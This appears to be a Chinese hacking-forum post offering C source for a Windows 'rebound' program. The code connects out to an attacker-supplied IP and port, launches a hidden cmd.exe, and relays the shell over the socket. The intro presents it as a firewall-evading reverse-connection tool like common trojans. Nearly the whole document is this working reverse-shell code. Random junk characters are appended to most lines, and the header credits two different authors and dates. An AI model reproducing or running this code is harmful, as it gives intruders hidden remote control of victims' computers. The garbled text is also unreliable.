这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3Rm$
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/* ============================== +38t82%YWo
Rebound port in Windows NT p4[W@JV
By wind,2006/7 ~^eAS;
===============================*/ 8|l
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#include xqr`T0!&
#include W)l&4#__(
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#pragma comment(lib,"wsock32.lib") {*2A%}S
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void OutputShell(); sw&Qks?V
SOCKET sClient; +SJ aE] $
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zb<+x(0y"
bY<" $);s
void main(int argc,char **argv) )sQbDA|p
{ I9MI}0}7
WSADATA stWsaData; @EQ{lGpU3
int nRet; M]W4S4&Y=
SOCKADDR_IN stSaiClient,stSaiServer; iPIA&)x}
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if(argc != 3)
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{ OJ 2M_q)e
printf("Useage:\n\rRebound DestIP DestPort\n"); V$@2:@8mo
return; 4 (yHD
} dug RO[
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WSAStartup(MAKEWORD(2,2),&stWsaData); qUo(hbp
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); czp5MU_^
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stSaiClient.sin_family = AF_INET; CI,-qi
stSaiClient.sin_port = htons(0); !>+
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ka5>9E
hk=+t&Y<H
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ovHbs^H%
{ Y,a.9AWw)
printf("Bind Socket Failed!\n"); o%dtf5}(,
return; Y5;:jYk#<_
} LP87X-qkjW
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stSaiServer.sin_family = AF_INET; <
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); i{,>2KVC|
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); h m"B kOA
"}!vYr
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c" l~=1Dr
{ !=-l760
printf("Connect Error!"); 7fVVU+y
return; oU2RxK->u
} a5)+5
OutputShell(); cx$Oh`-Car
} %jkd}D
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void OutputShell() T}zi P
{ snK/,lm.
char szBuff[1024]; 0
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SECURITY_ATTRIBUTES stSecurityAttributes; mr;WxxO5
OSVERSIONINFO stOsversionInfo; $Fo ,$
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >1r>cZn
STARTUPINFO stStartupInfo; *Vc}W
char *szShell; K<t(HK#[
PROCESS_INFORMATION stProcessInformation; 9/'j<v6M
unsigned long lBytesRead; ]s<Q-/X
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;[|x5o/<
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~v5tx
stSecurityAttributes.lpSecurityDescriptor = 0; G1D(-X4ALZ
stSecurityAttributes.bInheritHandle = TRUE; s0\X%U("
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T"2ye9a
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); zRKg>GG`
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); osnDW
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;eWVc;H
stStartupInfo.wShowWindow = SW_HIDE; :]]amziP&
stStartupInfo.hStdInput = hReadPipe; *z(.D\{%
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6h5*b8LxA
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GetVersionEx(&stOsversionInfo); UH)A n:9
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switch(stOsversionInfo.dwPlatformId) [6c{t
{ Wy|=F~N
case 1: <|.M]]}j
szShell = "command.com"; BtjsN22
break; alq>|,\x
default: 2Ay2
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szShell = "cmd.exe"; ;z&p(e
break; > sUk6Z~
} VJwzYl
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (5atU |8r
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send(sClient,szMsg,77,0); \ii^F?+b
while(1) <yIJ$nBx
{ H
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Qz
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if(lBytesRead) {gJOc,U4b
{ [ jafPi(#g
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); YWm:#{n.
send(sClient,szBuff,lBytesRead,0); V+E2nJ
} W/+|dN{O+g
else ]
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{ 0C0iAp
lBytesRead=recv(sClient,szBuff,1024,0); }B"kJNxV
if(lBytesRead<=0) break;
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); mvYr"6f8
} /*st,P$"
} 96 C|R
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return; h v9s
}